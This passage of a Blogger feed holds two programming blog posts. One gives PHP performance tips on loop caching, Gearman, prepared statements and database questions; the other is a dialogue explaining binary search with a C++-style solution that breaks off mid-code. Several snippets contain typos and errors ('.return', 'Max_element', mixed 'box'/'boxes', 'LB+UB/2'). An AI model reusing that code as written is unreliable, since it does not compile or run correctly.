&lt;span style=&quot;color: navy;&quot;&gt;function wrngloop()&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;sleep(10);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;.return &quot;Hello&quot;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;for ($i=0; $i&amp;lt;100; $i++) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$value = wrngloop();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;echo $value;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; In this piece of example is variable is setup once for a cycle. &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;// better example&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;function wrngloop() {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;sleep(10);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;return &quot;Hello&quot;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$value = wrngloop();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;for ($i=0; $i&amp;lt;100; $i++) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;echo $value;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
Now you can find the problem.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
To find performance issue look a while in code.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Detect big loops (for, for each,  ...)&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Do they iterate over a big amount of data?&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;check them.&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;is it possible to cache the operation inside the loop?&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;If yes, what are you waiting for?&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;If not, highlight them as potentially dangerous and focus your inspections on them. Small performance problems in your code can be multiplied.&lt;/b&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;3.Use Of Gearman&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
Gearman has a simple protocol and interface with an optimised, and threaded, a server written in C/C++ to minimise your application overhead.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
it is an open source framework for application why not use it for&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Massive mailing systems&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● PDF generation&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Image processing&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Logs&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;4.Improve DB Access&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
Another important tip is the usage of prepared statements. Why? The answer is simple. Let me show you one example:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Code A&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh = new PDO(&#39;pgsql:dbname=pg1;host=localhost&#39;, &#39;user&#39;, &#39;password&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$field1 = uniqid();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;beginTransaction();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;foreach (range(1, 1000, 1) as $i) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$stmt = $dbh-&amp;gt;prepare(&quot;UPDATE test.tbl1 set field1=&#39;{$field1}&#39; where id=1&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$field1 = $i;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$stmt-&amp;gt;execute();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;commit();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Code B&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh = new PDO(&#39;pgsql:dbname=pg1;host=localhost&#39;, &#39;user&#39;, &#39;password&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt; &lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$field1 = uniqid();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;beginTransaction();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$stmt = $dbh-&amp;gt;prepare(&#39;UPDATE test.tbl1 set field1=:F1 where id=1&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;foreach (range(1, 1000, 1) as $i) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$field1 = $i;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$stmt-&amp;gt;execute(array(&#39;F1&#39; =&amp;gt; $field1));&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;$dbh-&amp;gt;commit();&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
The Code A sends the SQL update as one string and executes it 1,000 times.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
The database will compile each update and execute. The Code B compiles it once and executes 1,000 times with different parameters.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
There is another great benefit from using prepared statements, which is to prevent SQL injections.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
But if you are talking about performance, you need to focus it.&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Forte :&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUcOf5brbWZ2XG2RaxvMs2Uq8fHg-mhK1s6D35Ot27zd2L9xAA-LRCrHKByPNhgO9p_xylWA0uU3rpN9j8svhPiPnNRIeJWD-1OV4L2P52iFwLOUFvnNlc1DeCNGipLg92Jta5-Ky3mJI/s1600/123.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUcOf5brbWZ2XG2RaxvMs2Uq8fHg-mhK1s6D35Ot27zd2L9xAA-LRCrHKByPNhgO9p_xylWA0uU3rpN9j8svhPiPnNRIeJWD-1OV4L2P52iFwLOUFvnNlc1DeCNGipLg92Jta5-Ky3mJI/s1600/123.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
If you are looking to improve your Web performance, you should have an answer of these questions:&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● How many database connections have I in my application?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● How much time does each select statement take?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● How many select statements are in code?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Are we using these statements in loops?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Do I really need these statements? Can I cache them at least with a TTL(Time to live)?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● Do we need to perform my transactions (Inserts, Updates drop) online inside the user request?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● why not queue them?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● How much CPU does the application use per request?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
● How much memory does the application use per request?&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;Reference: piece of code is referred from http://stackoverflow.com/&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/1703416506602608285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2013/07/performance-by-code-review.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1703416506602608285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1703416506602608285'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2013/07/performance-by-code-review.html' title='Performance by Code review '/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY2_aHjv3Jp5tdeBZcAOIuxgKFXFjOYZJcII0BX8SLL5tv9gpuj1b4THX0W9G7zUMEmFlPKx0OL9RMKHXnpMMuC5mygROs2uCqHEQ3DqSpCmSF5SU5smxvM7mPnMPXYD94JvQs9bLw77c/s72-c/12.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-7870554390969352995</id><published>2013-03-24T22:49:00.002+05:30</published><updated>2016-12-19T10:16:59.286+05:30</updated><title type='text'>Binary Search</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;Obra: Hey Pearl! what are you doing?&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Pearl: I am studying Binary search.&lt;br /&gt;Obra: Tell me something about this&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;Pearl:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Binary search: As compare to linear search, it quite fast. &lt;br /&gt;Approach take the median of lower bound and upper bound ( LB+UB/2). compare it with an element. if the element is greater than median then search will take place in right else in left place.&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSc0Pb0k2n5aoBK7AYLu4VE44djMhSmGzcISirZiB9pTB78mRMPynP1QJwDGs5ZId7tZNQFJris1HQUoyxjGV-L5PBfeCBKeKIBuThy5MmtR4rJ7yZaGTcYNydf6jQzeKBM8ugwrmgkoM/s1600/bin+search.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSc0Pb0k2n5aoBK7AYLu4VE44djMhSmGzcISirZiB9pTB78mRMPynP1QJwDGs5ZId7tZNQFJris1HQUoyxjGV-L5PBfeCBKeKIBuThy5MmtR4rJ7yZaGTcYNydf6jQzeKBM8ugwrmgkoM/s400/bin+search.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Obra&lt;/b&gt;:&lt;br /&gt;
Can you help out me to solve this problem using binary search?&lt;br /&gt;
&lt;b&gt;Pearl: &lt;/b&gt;let&#39;s try.&lt;br /&gt;
&lt;b&gt;Obra&lt;/b&gt;:&lt;br /&gt;
Let&#39;s Think, a number of people need to examine a number of filing containers. The containers are not all of the same sizes and we are told for each container how many boxes it contains. We are asked to find an assignment such that each person gets a sequential series of containers to go through and that it minimises the maximum amount of boxes that a person would have to look through.&lt;br /&gt;
&lt;br /&gt;
let&#39;s&amp;nbsp; Imagine that we have an unlimited number of people at our disposal. The crucial observation is that, for some number LIMIT, we can calculate the minimum number of people needed so that each person has to examine no more than LIMIT boxes (if this is possible). Let&#39;s see how we&#39;d do that. Some person needs to examine the first container so we assign any person to it. But, since the containers must be assigned in sequential order (a person cannot examine containers 1 and 3 without examining 2 as well), it&#39;s always optimal to assign him to the second container as well, if this does not take him over the limit we introduced (LIMIT). If it would take him over the limit, we conclude that his work is done and assign a new person to the second container. We proceed in a similar manner until all the containers have been assigned and assert that we&#39;ve used the minimum number of people possible, with the artificial limit we introduced. Note here that the number of people is inversely proportional to LIMIT: the higher we set our limit, the fewer people we will need.&lt;br /&gt;
&lt;br /&gt;
Now, if you go back and carefully examine what we&#39;re asked for in the problem statement, you can see that we are really asked for the smallest LIMIT such that the number of people required is less than or equal to the number of people available. With that in mind, we&#39;re almost done, we just need to connect the dots and see how all of this fits in the frame we&#39;ve laid out for solving problems using binary search.&lt;br /&gt;
&lt;br /&gt;
With the problem rephrased to fit our needs better, we can now examine the predicate Can the workload be spread so that each person has to examine no more than x boxes, with the limited number of people available? We can use the described greedy algorithm to efficiently evaluate this predicate for any x. This concludes the first part of building a binary search solution, we now just have to prove that the condition in the main theorem is satisfied. But observe that increasing x actually relaxes the limit on the maximum workload, so we can only need the same number of people or fewer, not more. Thus, if the predicate says yes for some x, it will also say yes for all larger x.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Solution:&lt;br /&gt;
int Solution( boxes, int people ) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp; int n = boxes.size();&lt;br /&gt;
&amp;nbsp;&amp;nbsp; int Low = *Max_element( box );&lt;br /&gt;
&amp;nbsp;&amp;nbsp; int Upper = accumulate( box, 0 );&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; while ( Low &amp;lt; Upper ) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int x = Low + (Upper-Low)/2;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int required = 1, current_Load = 0;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ( int i=0; i&amp;lt;n; ++i ) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( current_Load + boxes[i] &amp;lt;= x ) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // the current person can handle it&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; current_Load += boxes[i];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // assign next person&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ++required;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; current_Load = boxes[i];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( required &amp;lt;= people )&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Upper = x;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Low = x+1;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; return Low;&lt;br /&gt;
